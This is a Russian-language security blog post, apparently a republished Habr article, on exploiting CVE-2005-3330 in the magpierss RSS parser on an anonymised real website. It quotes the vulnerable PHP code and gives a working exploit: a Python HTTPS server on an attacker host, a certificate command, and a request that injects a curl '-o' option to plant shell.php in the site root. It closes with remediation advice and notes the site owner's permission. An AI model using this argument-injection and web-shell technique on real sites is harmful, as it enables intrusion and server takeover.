- PVSM.RU - https://www.pvsm.ru -
Всем добра! Хочется рассказать об эксплуатации одной старой известной уязвимости CVE-2005-3330 [1], которую обнаружили в 2016 году на довольно популярном веб-сайте, который ведет свою историю с 2006 года. Могу лишь предположить что фреймворк с уязвимостью просто забыли удалить с сайта, хотя чем черт не шутит может быть и используют.
Статья может быть полезна новичкам, которые осваивают информационную безопасность.
Итак. Уязвимость присутствует в парсере RSS magpierss-0.72 [2], который в свою очередь использует библиотеку Snoopy [3]. Пример эксплоита тут [4]. Но он, как случается довольно часто, лишь намекает на то, как уязвимость можно эксплуатировать. Описание уязвимости говорит нам о том, что уязвимость проявляется при передаче пользовательских данных, а именно https-адреса стороннего веб-сайта в GET-параметре url.
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
if($this->passcookies && $this->_redirectaddr)
$this->setcookies();
$headers = array();
$URI_PARTS = parse_url($URI);
if(empty($url))
$url = "/";
// GET ... header not needed for curl
//$headers[] = $http_method." ".$url." ".$this->_httpversion;
if(!empty($this->agent))
$headers[] = "User-Agent: ".$this->agent;
if(!empty($this->host))
$headers[] = "Host: ".$this->host;
if(!empty($this->accept))
$headers[] = "Accept: ".$this->accept;
if(!empty($this->referer))
$headers[] = "Referer: ".$this->referer;
if(!empty($this->cookies))
{
if(!is_array($this->cookies))
$this->cookies = (array)$this->cookies;
reset($this->cookies);
if ( count($this->cookies) > 0 ) {
$cookie_str = 'Cookie: ';
foreach ( $this->cookies as $cookieKey => $cookieVal ) {
$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
}
$headers[] = substr($cookie_str,0,-2);
}
}
if(!empty($this->rawheaders))
{
if(!is_array($this->rawheaders))
$this->rawheaders = (array)$this->rawheaders;
while(list($headerKey,$headerVal) = each($this->rawheaders))
$headers[] = $headerKey.": ".$headerVal;
}
if(!empty($content_type)) {
if ($content_type == "multipart/form-data")
$headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
else
$headers[] = "Content-type: $content_type";
}
if(!empty($body))
$headers[] = "Content-length: ".strlen($body);
if(!empty($this->user) || !empty($this->pass))
$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
for($curr_header = 0; $curr_header < count($headers); $curr_header++) {
$cmdline_params .= " -H "".$headers[$curr_header].""";
}
if(!empty($body))
$cmdline_params .= " -d "$body"";
if($this->read_timeout > 0)
$cmdline_params .= " -m ".$this->read_timeout;
$headerfile = uniqid(time());
# accept self-signed certs
$cmdline_params .= " -k";
exec($this->curl_path." -D "/tmp/$headerfile"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);
Для того, чтобы проэксплуатировать уязвимость:
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('hacker_host', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
Для работы ему понадобится сертификат. Создадим самоподписанный сертификат следующей командой:
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
В корень со скриптом https.py положим скрипт index.php с любым интересным содержимым, например таким:
<?php echo("hello world!"); ?>
http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=
Теперь можно эксплуатировать. В нашем случае запрос выглядел следующим образом:
http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=https://<hacker_host>/index.php -o"cache/../../../../../shell.php"
Что означает осуществление http-запроса к уязвимому сайту <host:port> с параметром url, в который мы передаём адрес странички на сайте атакующего https://<hacker_host:hacker_port>/index.php. Опытным путём установлено, что сайт положит содержимое файла index.php в файл shell.php корня сайта. Теперь сайт жертвы <host:port> содержит наш скрипт shell.php. Обратиться к нему можно так:
http://<host:port>/shell.php
Рекомендацией по исправлению является удаление неиспользуемого кода и устаревших фреймворков, проверка сайта на наличие бэкдоров, шеллкодов и т.п.
Администрация сайта подтвердила наличие уязвимости и начала процесс исправления; разрешила опубликовать статью с обезличенной информацией.
Автор: dkazakoff
Источник [5]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/informatsionnaya-bezopasnost/182372
Ссылки в тексте:
[1] CVE-2005-3330: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3330
[2] magpierss-0.72: http://magpierss.sourceforge.net/
[3] Snoopy: https://sourceforge.net/projects/snoopy/
[4] тут: https://www.exploit-db.com/exploits/26424/
[5] Источник: https://habrahabr.ru/post/309064/?utm_source=habrahabr&utm_medium=rss&utm_campaign=sandbox
Нажмите здесь для печати.